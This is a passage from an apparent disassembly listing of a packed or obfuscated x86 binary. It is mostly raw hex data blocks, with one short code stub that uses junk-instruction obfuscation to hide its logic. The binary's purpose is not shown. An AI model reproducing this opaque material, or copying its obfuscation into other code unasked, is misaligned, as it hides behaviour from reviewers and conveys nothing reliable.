3841A0EBh, 7B48B1D1h dd 0A3AF551Dh, 8855FBC3h, 6CF622Ah, 17469360h, 0D501FF69h dd 0A0F65FC8h, 0FBC831D7h, 4CBFA50Bh, 3B99DE84h, 8F00CD73h dd 105D2C40h, 1FF9FE1h, 97E918D5h, 9AD501FFh, 37326631h dd 0A7530801h, 7DE3329Bh, 0B65BABE5h, 7212h, 0E2F85000h dd 0BCF8458Ah, 9CD1776Eh, 0F01F6EBEh, 0DB4E3A60h, 7F0F3B77h dd 657EC570h, 95DA4316h, 71C76D37h, 0DCB100A6h, 4F0ED3ADh dd 61E349DBh, 0C066318Fh, 0C54E82F3h, 7C10BE7Ah, 0CA10EB3Ah dd 222E5DA2h, 2FDB4EF8h, 0F5C5BBEAh, 36CDB4Eh, 72BF8E9Ah dd 4EF53D43h, 80AFF4DBh, 0DB4EF600h, 105FC831h, 79F2h dd 0CBE72300h, 8B0A742Eh, 0F809D120h, 0FD4A8FDDh, 0AAB1B5C1h dd 0D423E327h, 378D62A5h, 0A976DFD1h, 0D1DD834Bh, 0B68329F1h dd 130EE87h, 0E622EFD5h, 0C752C711h, 0C46A362Dh, 0A4A00C5Bh dd 1AE67941h, 0CD36A774h, 0FB7164C1h, 0EA9058B6h, 105DAC1Dh dd 0D33E0FE1h, 0CC9902CAh, 1C35A66Eh, 0C690631Bh, 2748157Eh dd 91EF0143h, 0E35421C7h, 501CB994h, 0BE14DC0Bh, 94FDC47Eh dd 0DDF83E88h, 0C1FD4A8Fh, 0D6F0C593h, 0F6257438h, 0D12049FAh dd 0D0763F9Dh, 0B908AE7Ah, 0FC387DE6h, 0BC25BA3Ah, 0ADF2E33h dd 323EE4ACh, 9FE48A52h, 0E5C93A63h, 0C413C41Bh, 0C9C4C0EFh dd 2BF2053Dh, 8F5AB885h, 0C62C1CE9h, 7CEA589Eh, 0A74D15C8h dd 71F3BB9Bh, 57EF3E42h, 0FAA068A4h, 680ED92Fh, 58C12A9Bh dd 17E03E8Bh, 0F7C42271h, 9E638451h, 83D27840h, 0F2BA2D17h dd 0EF3F4170h, 89F2A457h, 6C341420h, 3DBF9C6h, 91000000h dd 0AF758C54h, 16DE3C09h, 7945A370h, 0E1A806D3h, 47106E3Bh dd 0AD76D4A1h, 0FDC3A07h, 743E9C69h, 0D8A301CEh, 68E86532h dd 4AA5h, 51240C89h, 0C181E189h, 4, 8704E983h, 895C240Ch dd 89512434h, 4C181E1h, 81000000h, 4E9h, 240C8700h, 2404895Ch dd 34246850h, 25583BABh, 5BAD2E47h, 546A2425h, 5E793562h dd 5E500454h, 2E06858h, 24890000h, 24048124h, 4, 4EC8358h dd 0BB241C89h, 8, 3389C301h, 2434FF5Bh, 4C48358h, 5E2434FFh dd 0E904C483h, 0FFF8FBBDh, 88522FF2h, 6D85E878h, 0B80423DFh dd 6548389h, 0E0FFC503h, 77AB93BEh, 11523685h, 2F45CB63h dd 7D880183h, 6A60AF4Dh, 3B5B7171h, 3F537C90h, 549D3BD2h dd 37744E21h, 304E7488h, 3F08B061h, 10EBh, 3 dup(0) dd 0C08B0000h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0D3C35646h, 0D622B3A5h, 0C789C4Ah, 1BD9BD83h, 7500064Dh dd 11BD8309h, 64D00h, 53501974h, 2DB8C08Bh, 89000004h dd 4D257585h, 159D8D06h, 0FF064FB7h, 83585BD3h, 4D0011BDh dd 17740006h, 2DB85350h, 89000004h, 4D257585h, 49D8D06h dd 0FF064FB4h, 8B585BD3h, 4D2E4DB5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 7A9F9D73h dd 3B24C108h, 0BC00C681h, 10E85106h, 0A2000000h, 311CD28Dh dd 0FD0CED49h, 0AA62018h, 0E908B6D4h, 0Ah, 4E2855EFh, 257249CCh dd 8B5E910Ah, 1958BC0h, 8B064D2Bh, 4D21998Dh, 48F0F06h dd 66000000h, 83DD7ABEh, 840F00F9h, 0D8h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Bh, 1AC35545h, 0B7ED6243h dd 60C39C23h, 1C658D8Bh, 810F064Dh, 6, 0BA58D09h, 0BE61064Dh dd 2931821Dh, 2C3D8B64h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 26ADC355h dd 177D958Bh, 0FF0B064Dh, 6A840Fh, 0F58A0000h, 3F8BA7B2h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 51C35242h dd 5DBE04A3h, 958B7284h, 64D2189h, 7E9C032h, 0A2000000h dd 0F09435CEh, 0AAF32A15h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0D8C35141h, 12A469AAh, 65958B57h, 0BA064D2Fh dd 2D0B8408h, 50414935h, 0E1B58B53h, 0C6064D2Fh, 4D26E585h dd 8B664706h, 0EE9F3h, 22A90000h, 0B3F3DDA4h, 0A16C4490h dd 1A9C8C6Ch, 4E8h, 0D6882C00h, 50F5B2DCh, 61CE8B60h, 424448Bh dd 5ED08B53h, 0BA66008Bh, 4489DF8Bh, 0BA660424h, 8B58C0B0h dd 4D008195h, 29B5FF06h, 6A064D0Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0AD7BC351h dd 337277DEh, 0D5958B33h, 8D064D0Fh, 5075D785h, 4D8D2906h dd 0FF064D32h, 8589F9D0h, 64D1B49h, 9E9h, 2E90FD00h, 0C1FFC738h dd 85C60EF1h, 64D26E5h, 55006A53h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0ACB00618h, 5E880D4h dd 0C1000000h, 8F3497ACh, 0EE9h, 0AFD03300h, 0D0F38CF1h dd 0EAFDD6EFh, 5A9F2B33h, 4E8h, 986AFC00h, 1B820F88h, 0E8000000h dd 11h, 92068ADBh, 2DB2D020h, 624516BDh, 0A4892F8Fh, 39BE66B2h dd 8A505EE4h, 24448BF1h, 168F0F04h, 50000000h, 6E952h dd 9EDD0000h, 534D8508h, 0C6BE310Fh, 5A6CC557h, 0E9008B58h dd 0Bh, 0E7E1CE96h, 63952812h, 89373F53h, 53042444h, 820F585Eh dd 0Ah, 48A0Fh, 0BA660000h, 0B5FF75FFh, 64D0B29h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0DC35747h, 2AA296E2h dd 6640ACBCh, 2850F43h, 0B6000000h, 0D7858DD7h, 8B065075h dd 4D30C5B5h, 8DD0FF06h, 503C6A85h, 8979B206h, 4D0B8985h dd 6A206A06h, 8995FFFFh, 35064D0Bh, 53504149h, 299985C7h dd 1064Dh, 85C70000h, 64D2245h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 5BC35141h dd 4328B0C2h, 4F69D768h, 0EE96097h, 0B9000000h, 7BF01AB8h dd 10747925h, 0F05CD6Ch, 4FDA80DBh, 85895761h, 64D23C9h dd 658D895Eh, 83064D29h, 4D21A5BDh, 840F0006h, 8Dh, 0E116DABAh dd 3D858B78h, 89064D0Bh, 4D0F9195h, 0A36406h, 8B000000h dd 4D1B4185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0E92EC731h, 0Ah, 8092A6B8h, 0B6AA8F37h dd 0E08B1E96h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 27C35747h, 0E97A1F34h, 11h, 2EBC8C8Ch, 0CF803AACh dd 0AF3F7B72h, 0AED53236h, 68C0FDAh, 89000000h, 4D05358Dh dd 79BD8306h, 64D21h, 3F5850Fh, 0B70F0000h, 0E585C6F1h dd 56064D26h, 0C0DA8160h, 66768FC1h, 612C80BBh, 8F580B68h dd 0F28B6698h, 0D4240481h, 0BE1135D8h, 7983581Bh, 0B29B5FFh dd 6A064Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 6FFA77C3h, 0C9B7E3E3h, 3175BD89h, 858D064Dh dd 65075D7h, 1ACD958Bh, 0BE66064Dh, 0D0FFB9E0h, 5E9h, 0EFADB200h dd 6050D6CDh, 11E9h, 6F6FF600h, 0C148294Eh, 47B11364h dd 5A636660h, 5160C440h, 0F9BB665Eh, 89616175h, 9E92404h dd 0A0000000h, 6F941A54h, 24E5921Dh, 2B818D8Dh, 0B9BE064Dh dd 91639C90h, 0FE95250h, 0E2000000h, 0B788271Dh, 49A11354h dd 48AA617Dh, 310F1F08h, 0E950585Ah, 0Ch, 0C82303F8h, 0A45F76DAh dd 7484DFB8h, 6AF38B91h, 9D958B04h, 68064D0Ah, 0A27520A4h dd 58C0Fh, 8BBA0000h, 811C5C95h, 0EF5C2404h, 6A5D8Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 57BF45C3h, 84BA6650h, 0F5A5A24h, 680h, 61B52300h, 0FF064D2Ch dd 4D2A11B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 26FCABD4h, 0C2CB6678h, 6E9h, 0AE88C800h dd 0F8F6917h, 684h, 0CDB58900h, 0FF064D2Fh, 1DBD31D0h dd 8B064D33h, 4D2A11BDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0DABE7DFDh, 3642107h dd 8B603C7Fh, 4D236985h, 5E906h, 18B50000h, 613B5268h dd 0F8C781h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0F2FBE9C3h, 0E9A1BABEh, 47C741F9h dd 2024h, 0F5952960h, 83064D28h, 548448BDh, 840F0006h dd 13Eh, 0B31BD89h, 0C783064Dh, 50006A28h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 9AD6F2E3h dd 13E91Dh, 0CF790000h, 5B558855h, 0BB029B9Ch, 4D45C334h dd 0A0D01E93h, 81958BB0h, 0C7064D18h, 696A2E07h, 0EFE68064h dd 610447C7h, 0E9006174h, 0Bh, 0E7864B71h, 1C5BD5A1h, 8BFB6668h dd 54845085h, 8D8B6006h, 64D295Dh, 4159D8Bh, 8961064Dh dd 89500C47h, 4D0B4D8Dh, 858B5A06h, 6548454h, 0B58B17B2h dd 64D1F61h, 0F9084789h, 8028C783h, 7C7A9D6h, 6E6F632Eh dd 0C7F1BF0Fh, 69660447h, 0B58B0067h, 64D070Dh, 844C858Bh dd 8B600654h, 4D0BD19Dh, 5DB58906h, 61064D20h, 6A0C4789h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0BEDAC357h, 0DC1B9CDBh, 807C4062h, 858B7EEEh dd 6548448h, 23219D89h, 4789064Dh, 51006A08h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0BA28011Eh dd 0E48ECB42h, 0DE890h, 178B0000h, 4ABF12FCh, 0C04FBCBBh dd 8B207635h, 4D12F9B5h, 66585A06h, 8D8DD08Bh, 64D0D81h dd 0FF28B66h, 0E950D6BFh, 8, 98CF0631h, 0D88F5594h, 81240C89h dd 3BBAAAC2h, 81B5FF49h, 66064D2Bh, 0E80C9ABAh, 4, 1000h dd 0C870Fh, 840F0000h, 6, 310F5250h, 0E850585Ah, 0Fh, 0BFD9175h dd 161B2E85h, 801FE1Bh, 5EAACB8Eh, 424448Bh, 0F18B008Bh dd 4244489h, 0DE9h, 0D1C8A000h, 0DD7E1DE3h, 0C5293515h dd 6A586C3Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 0C8FFC355h, 8923E896h, 4D1BD1B5h dd 0E1958B06h, 0FF064D1Eh, 4D2A11B5h, 0C5D28106h, 0FF4A694Fh dd 0B85E52D0h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 13C35141h dd 80BFA89Ah, 0B90B2DAh, 3D840FC0h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 5E0EC356h, 8953A55Ch, 4D138DB5h, 0B5FF5E06h, 64D23B9h dd 0CD460BAh, 5595FF71h, 66064D2Eh, 0E9CAC681h, 0E281C08Bh dd 6FA82725h, 1BD9BD83h, 7500064Dh, 11BD8309h, 64D00h dd 53501974h, 2DB8C08Bh, 89000004h, 4D31A585h, 7C9D8D06h dd 0FF064FB7h, 83585BD3h, 4D0011BDh, 17740006h, 2DB85350h dd 89000004h, 4D31A585h, 1D9D8D06h, 0FF064FB4h, 6A585BD3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 3DA8C356h, 0F1C6C51h, 6650D7B7h, 5A47FEBEh dd 81D9C281h, 9D89028Bh, 64D0D85h, 0C08BC08Bh, 292B04EBh dd 9FE94F18h, 4A000005h, 0F2D2DE84h, 95758127h, 391925CBh dd 0DABAC66Ch, 5D5F6B11h, 973D064Bh, 3EE4AB8Bh, 0E0865232h dd 862CF4D4h, 0E716E37Ah, 0D4FA9399h, 864D8D98h, 0ECB95F28h dd 6CE2C7Bh, 0F3BD1B60h, 0C00F804Dh, 1EC48DEBh, 0C46A3212h dd 2BD199F7h, 0C435005Eh, 9C87A5Bh, 0BD84117h, 0CA3D2795h dd 0FFA56F02h, 4C58C132h, 0EEFAA06Ch, 0CF9C420Eh, 3704AA71h dd 0CF323216h, 71515D03h, 60BE03A9h, 0E723F096h, 44A5E97Ah dd 295DC6E4h, 177322ACh, 0FE43318h, 4EA893E0h, 0F96B51DBh dd 163A64FEh, 0B372AEB0h, 79F78CE8h, 5280E837h, 0BE000000h dd 0B65C2886h, 0D0410967h, 0B80F2514h, 602D9654h, 4EEE5131h dd 87BDA3DBh, 1670CA5Ch, 1F1B0h, 752F0000h, 0D93704AAh dd 4E9B680Eh, 2F7E24F0h, 195E04D1h, 0FB4AF0BBh, 242B026h dd 296E14DFh, 0EADF35EDh, 9AF0D95Eh, 0C9DD2CD2h, 6F7B21E9h dd 2AAC7525h, 4F2085FBh, 0DA43ACDBh, 73E4AF0Dh, 68D94786h dd 998EC272h, 2D62AAB0h, 0C6B683ECh, 0B056217Fh, 1380A7E3h dd 3291FCC3h, 560E7AC9h, 0E679EAB3h, 553B3D02h, 2B943A06h dd 0A4417DC2h, 59529B73h, 755569B8h, 0E0511AADh, 7D0B6C58h dd 9B68D1B4h, 6309D42Ah, 0EFBC2596h, 5421C791h, 683391E0h dd 4CA38EC2h, 1D2B2D9Ch, 10E262CEh, 723FE5B2h, 2A4CB201h dd 0D1B01625h, 0A3h, 3BAC750Fh, 25C86177h, 0AF7CE5BCh dd 2AF48751h, 1246B784h, 1A35092Eh, 0FECB3428h, 622FD5A0h dd 0C5923804h, 8384C0A4h, 0A3240E3Bh, 0D442ABB0h, 420BFE66h dd 4D1B579Ch, 16FCF68Fh, 340CF643h, 5B59B300h, 4F18F80Ch dd 824FF5BCh, 7DDBA811h, 0C93D0AB0h, 44EEE95Bh, 73B0160Eh dd 73h, 5F2886B1h, 0F25B01CCh, 765B425h, 0F38DBC3Eh, 3EDB4F20h dd 117A20E8h, 308EDBA8h, 85F6C369h, 1D100651h, 32812289h dd 4A8608D4h, 8581AB02h, 0E29EC5C3h, 4FDB4E5Dh, 99B07DE6h dd 8B54B7ADh, 758FD9E5h, 83704AAh, 0DB4F206Bh, 0F0BD632Bh dd 5623C992h, 0BA872DF8h, 49FB6149h, 210878A7h, 0C029DB4Fh dd 0FB694F57h, 16426600h, 195B0h, 75D30000h, 0A64C18ABh dd 4A12703Dh, 0F1B6D7A4h, 0B56C88B5h, 57643E9h, 3B55F3D1h dd 21C480ECh, 48A5B157h, 6B9ADF8Dh, 0D137F50Ch, 0CF753D9Bh dd 6F429102h, 13DB3906h, 3492616Dh, 650BD669h, 0F1BE2798h dd 5926CC93h, 0D2307FE8h, 4A97640Ah, 247C1B0Eh, 0FDC40C39h dd 0B0198A57h, 7C503261h, 0B19DD501h, 0E51461B3h, 0D5017C9Bh dd 5E225196h, 0D3D5017Ch, 54B2016Ah, 872DF98Ch, 6A32121Eh dd 7CC7B9E8h, 256AD501h, 17C8AF6h, 0D53EA7D5h, 79419F6Ch dd 0DBA806D3h, 410A6835h, 80E6CE9Bh, 0DF260EC4h, 0AB7678A3h dd 451070F1h, 17E0369Fh, 0E433A471h, 5119CC78h, 0AFB79FABh dd 67B65B55h, 54993F09h, 2155B25h, 1E6DD6D5h, 14AB6h, 4A86F400h dd 23EB0716h, 0B3FB07Dh, 0C6155FD9h, 3D82EAEBh, 25CB92F0h dd 0C0C0E758h, 71DB4ED0h, 3FE5B208h, 1774A3F0h, 3AD137F2h dd 5421EB06h, 5F8E9C84h, 0D5013521h, 0D53EA710h, 427FBB08h dd 42031D2Bh, 763E9CEBh, 1CE4C4D0h, 834BA976h, 0ACC89312h dd 2A93EF7Bh, 5D076D5Dh, 303CE2AAh, 5B833E48h, 4BDDB6h dd 0F81B0000h, 16458AE2h, 0DB4F223Ah, 0B2E1AE17h, 0DB4F1FCEh dd 9A670DD8h, 0FCC96F3Ch, 5F2CD29Eh, 0BCA80EEEh, 74F05636h dd 0F7C1C614h, 74A3E851h, 0DB4F21DCh, 0F804BFFBh, 6218EC5Fh dd 7135B22Eh, 60AF609Fh, 7818248Dh, 97h, 8FDDF82Eh, 0B2CEFD4Ah dd 7FDB4F20h, 4B7AC716h, 0D1384FBCh, 24F1C85h, 0F1FA86B5h dd 0DFACD501h, 0B6056E39h, 0DEEA9058h, 0C39036FEh, 1F2E194h dd 46ECB5D5h, 0AA501B79h, 4BF967DDh, 0D0306FBAh, 66F729Fh dd 0A6590BF7h, 5D2C38DEh, 3E8D33FFh, 0B5FA7263h, 96E58B57h dd 98AE1A49h, 0DD19CAD3h, 8FD6A66h, 20F34230h, 0C48CEAB7h dd 4C30511Eh, 5CA9F618h, 0ADA2532Dh, 4E75DECEh, 0CEADA232h dd 6C4796FFh, 8FBE0369h, 0C47F3139h, 853BD408h, 87C1C748h dd 0F8C8121Eh, 1B4A8FDDh, 0D120AEADh, 115E2B94h, 7340E6B3h dd 8D55B302h, 33FBDBE7h, 0C730D6A0h, 4E37CBFAh, 0E9570BE4h dd 3EC0887Bh, 0ADD8710Fh, 6917468Bh, 0C88BADD8h, 0C22B945Fh dd 680ED6B6h, 58FEC523h, 9D63409h, 0A2EC7D98h, 7BE4F86Ah dd 0BBA98DAEh, 892FFB59h, 6E14DC3Ah, 0D3ADDC29h, 5E8BAD72h dd 0B292A6F5h, 6C1579EAh, 6B6DB46Ah, 12466EC8h, 228BBBBFh dd 33755h, 54ED0000h, 9AF758Ch, 7016DE3Ch, 0D37945A3h dd 3BE1A806h, 0A147106Eh, 7AD76D4h, 690FDC3Ah, 0CE743E9Ch dd 32D8A301h, 8951E865h, 4C181E1h, 55000000h, 4BDh, 5DE92900h dd 5C240C87h, 81E28952h, 4C2h, 4EA8300h, 5C241487h db 89h, 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 6548DD5h mov edx, [esp] add esp, 4 push esp mov esi, [esp] add esp, 4 push edx sub dword ptr [esp], 34F45A77h pop dword ptr [esi+8] add dword ptr [esi+8], 34F45A77h mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_546EAD ; --------------------------------------------------------------------------- dw 0C7C9h dd 56D950F6h, 0C7606EE0h, 0E0B85817h, 3065492h, 53E0FFC5h dd 0C23C5712h, 781C7390h, 0C26ED847h, 0DF023A63h, 6E1105E0h dd 0E56B4418h, 0C80DDB26h, 0FC5BB800h, 2D6B156Dh, 0D77DB480h dd 8D2BA977h, 5494348Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 13BC3F92h, 0BE9h, 0AE999300h dd 996A3016h, 0DACB5E37h, 5998D89h, 36B2064Dh, 0CFB70F60h dd 1D85C761h, 34064D05h, 900005Ah, 4D2E45BDh, 0E985C706h dd 64D02h, 60000000h, 0E19D8B60h, 0F064D26h, 8Bh, 0EE816100h dd 20EE21AFh, 0F9B5FF61h, 0FF064D25h, 4D2E5595h, 2DB58906h dd 6A064D0Dh, 1195FF00h, 8B064D05h, 0E22CEBC0h, 44890FA3h dd 8E57E5D7h, 71DB19B8h, 984D0856h, 6229D882h, 0F0CFEECBh dd 0EAFA5806h, 25F42B6Ah, 0A429F21Ch, 2EE7EDD2h, 0E88CBE25h dd 7, 724ED64Eh, 8B4044E4h, 4D2C6595h, 8F0F5906h, 11h dd 0CE9h, 0DD752E00h, 0ED07A31Ah, 53FDA90Ah, 0CFC181D1h dd 8B000060h, 4D31FDBDh, 873EBB06h, 0EB813915h, 39156F32h dd 0CAD9501h, 318B064Dh, 81C8D680h, 0DFF9BDF6h, 91958B05h dd 81064D00h, 0E35A0AF6h, 9C88128h, 810F8FE8h, 170E19EEh dd 56C28B43h, 15558D89h, 18F064Dh, 8E9h, 8777D900h, 8D6F07Fh dd 38E981CDh, 8B7A098Dh, 4D1F0DBDh, 34C18106h, 667A098Dh dd 0EB81FB8Bh, 1, 0FFA4850Fh, 8166FFFFh, 8D1C07F2h, 5495DD8Dh dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0D381F9EEh, 68DF810h, 5998D89h, 9D89064Dh dd 64D13A5h, 51D85C7h, 6668064Dh, 12E80000h, 0E7000000h dd 0A099BD6Eh, 7A4D62E3h, 4068A6DEh, 8AE70942h, 0AECBA6Ah dd 0C7586FA0h, 4D02E985h, 6, 79958900h, 0FF064D0Ah, 4D2795B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 21BE00ECh, 8CB44CBAh, 5595FF24h, 6A064D2Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 6691C356h, 70D8C381h, 6890Fh, 85330000h dd 64D2D1Dh, 95FF006Ah, 64D0511h, 2CEBC08Bh, 0CB6B3842h dd 678D4911h, 6DADF841h, 826ED237h, 0E571285Eh, 0AAC9A501h dd 7685A360h, 7EB947F0h, 39A5B141h, 0C76CE2D3h, 3BDCE2A3h dd 0C08Bh, 1A0h dup(0) dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 9DB7C7C0h, 1314507Bh, 0E0816660h, 5E93351h dd 0B7000000h, 3C44E0CCh, 6A9DFC61h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 2E1EC356h dd 0FDBA451Eh, 6E2B94E6h, 0CE960h, 327B0000h, 9978FFE8h dd 524743D5h, 0DE9A550h, 41000000h, 0F6804BABh, 0AE556D4Bh dd 5AC7AD5Ah, 6A6161h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 0FE8AEC3h, 0C8Ch, 9CBE6000h, 0BF562BCBh dd 2FA021A5h, 0E95DF861h, 0Ah, 303F767Ah, 0AEC827DDh, 8D0F1157h dd 0Bh, 0FEBF0F60h, 8F0Fh, 1610000h, 60082444h, 9E9h, 0FF430D00h dd 18AF816Dh, 0BF0F7142h, 6A5861C7h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 60DFC352h dd 6174CF80h, 6AC39Dh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0B6BCB4C3h, 0A8B36B80h, 0C880FDEh dd 0F000000h, 68Ah, 8A0F00h, 0F000000h, 0E8Fh, 850F6000h dd 0 dd 8A0Fh, 0F610000h, 118Bh, 0CE900h, 0E9100000h, 9765BE5Ch dd 67A41C37h, 0C08B60CEh, 0CFF78B9h, 3850F7Eh, 66000000h dd 0F50F98Bh, 387h, 5CE48000h, 0F2BF0F58h, 4880Fh, 0BF660000h dd 816690E2h, 66AF34C6h, 0E9EC18BBh, 0Eh, 0F4DA1608h, 4D590CAh dd 0E8F3A478h, 66605D76h, 0E8BAD3B9h, 12h, 0D3FF49E3h dd 3C68768h, 0F2171111h, 0B58C5342h, 6158406Ch, 0CE8h dd 0BC7C400h, 0DEE107A7h, 0F0001E83h, 0C7B70F61h, 14E858h dd 0EE600000h, 61BD4696h, 15AD506Ah, 6D446F45h, 43A3F628h dd 0C180F735h, 0B9665FDAh, 8E804D1h, 0C4000000h, 0F9F7E443h dd 0FCC58D67h, 0CF81665Ah, 870F0A4Bh, 3, 0BE5BC980h, 631A6415h dd 0FCB8B66h, 0B81h, 58D0F00h, 66000000h, 78CEC281h, 0EE0CBF66h dd 66CF8BFCh, 50CB3FBFh, 0B8D0F58h, 0E9000000h, 6, 5D445FD6h dd 0B70FDD02h, 6AE081F9h, 0BE11E2F4h, 579D7F28h, 0FF93BF66h dd 11E906B0h, 95000000h, 0FD22188Fh, 0EB24B15Eh, 1FE0EDD5h dd 96CACA76h, 0FCB8B66h, 0CE8DFBFh, 0D4000000h, 0FBCB253Dh dd 0F2AE7D64h, 6650B333h, 0B55AFB8Bh, 0BFAEB80Fh, 0E9F94F99h dd 0Eh, 91106F11h, 5E6EB632h, 52BD513Ch, 0D88BFAFEh, 0B72E0DB9h dd 0FABF0F48h, 9DAF9FBBh, 70B7601Fh, 66611BB5h, 0F6F26B9h dd 882h, 2850F00h, 60000000h, 0C8BF0F61h, 0AACA8166h, 0BAF28BD6h dd 9CDB4BCh, 0CB816660h, 8E90244h, 5A000000h, 9CB096C0h dd 61B150DEh, 0A7D58052h, 840F5Ah, 8B000000h, 0E9D18AF9h dd 8, 0CF12FA7h, 8B604221h, 0D9BB6660h, 28C0F29h, 0B4000000h dd 0D98A612Ah, 0B7C68166h, 10E93Ah, 5FEE0000h, 8691FCECh dd 4A9CDC5Dh, 3E442A1Ah, 81660A4Eh, 0E8C442C7h, 10h, 98AF010Fh dd 774DE174h, 67735F9Bh, 3133F817h, 14E9h, 685A7B00h, 1B4A1F84h dd 9AB79EF2h, 8C5858C4h, 0DAC3D308h, 0DE815FDFh, 0B8417B0h dd 7E96060h, 0E7000000h, 6ED831FDh, 5F51EC48h, 61C68B61h dd 6E9h, 63842C00h, 0F92723B0h, 0FF20B966h, 66F1B70Fh dd 8B0FD68Bh, 5, 0C1B578B9h, 0F5C88B25h, 38B0Fh, 0BF0F0000h dd 5E856C9h, 0A1000000h, 61527ED8h, 0FE9h, 33655200h, 910B89ACh dd 1C1A4C3Bh, 78534EF9h, 6E95A59h, 48000000h, 0DD810B19h dd 85E2B8CEh, 0CB805DC2h, 0BE9ECh, 82C00000h, 14FCC170h dd 0E044842Fh, 1CB8660Ch, 0D1BF0F5Fh, 0AE9h, 0C6B08000h dd 0F92816D6h, 0BB4296C2h, 0BF93A8Eh, 81F78B66h, 0AB0F0EBh dd 0E52CB916h, 0D2815D8Bh, 4BD9C70Ch, 0D381FCF9h, 30648A2Ah dd 7950B866h, 11E9D38Bh, 45000000h, 60EBD100h, 0A07A079Ah dd 6653DC3Ah, 0EC8EE32Ch, 12E957h, 8B440000h, 51F274D3h dd 0F241A19Bh, 740EF95Ch, 0B8CFA6CFh, 0C38B665Fh, 60D8B70Fh dd 61F9E78Ah, 39E2BE66h, 6F75EA81h, 0EE94FA3h, 0BA000000h dd 4DE27A39h, 0E29A8DFAh, 0A3B76D2Dh, 0C2816652h, 5E922E3h dd 0F6000000h, 0AE556D4Bh, 9810Fh, 810F0000h, 3, 0B428EC80h dd 0F1B70F50h, 56DE8B66h, 0B830Fh, 5E80000h, 8000000h dd 94F10737h, 0E9805B5Eh, 870F6057h, 11h, 0CE9h, 8FF3D900h dd 86557596h, 0E4CF8259h, 0FAB70FC3h, 5E961h, 51D70000h dd 0BBC1F646h, 4036D252h, 0D3D28166h, 0F546B46Fh, 0E9F8B70Fh dd 14h, 0C541CA27h, 3C8501C5h, 0C13CEEA6h, 0A9F39310h dd 1E5E4074h, 64C212BBh, 47CC807Bh, 0A890Fh, 52600000h dd 8E0F5Eh, 61000000h, 0FFBBF0Fh, 58Ch, 0A020BF00h, 820F4544h dd 17h, 12E9h, 7159A700h, 0EAE7A9C4h, 3E20835h, 822B580Dh dd 81F68B79h, 0CECEE0E6h, 14E911h, 1CAE0000h, 67E2844Dh dd 938D3DACh, 1E60CF5Eh, 0CEFEBE07h, 0E98167B9h, 20525DDDh dd 38B0Fh, 0BF0F0000h, 0E8D48AD9h, 0Fh, 25A57566h, 0F837E363h dd 0FAF0B3D3h, 665CA552h, 0F858C88Bh, 66CCDA80h, 60282CBBh dd 0BE9F38Bh, 1000000h, 28EDEDD0h, 46A49D76h, 0E961DD23h dd 10h, 74E24B7Dh, 0A5B9AC83h, 47231031h, 0DE0512F2h, 60C6B70Fh dd 7717C681h, 0DE8131B8h, 3CDD4724h, 0DB816661h, 0BF0F2DFFh dd 7E8D1h, 0EECA0000h, 319D85D8h, 0F28B66F8h, 0D2B70F5Fh dd 0E9C18BF8h, 0Ah, 7B17609Eh, 376F0E22h, 14E9EBE4h, 0FE000000h dd 53C9BC9Dh, 0DD24337Dh, 38137D73h, 1C566DF2h, 0F034F95h dd 0D86h, 8E900h, 0E6220000h, 0E2B8F103h, 0F60C593h, 23B6C0B7h dd 0FD98B61h, 0E8Fh, 6E800h, 0E0650000h, 0CDA93A67h, 0F5FB7B6h dd 168Eh, 11E900h, 4B890000h, 0F5E0E37Eh, 60EDBC0h, 35DCC45Eh dd 6659EC6Ah, 0E681F38Bh, 3183919Dh, 0FF8DB80h, 280h, 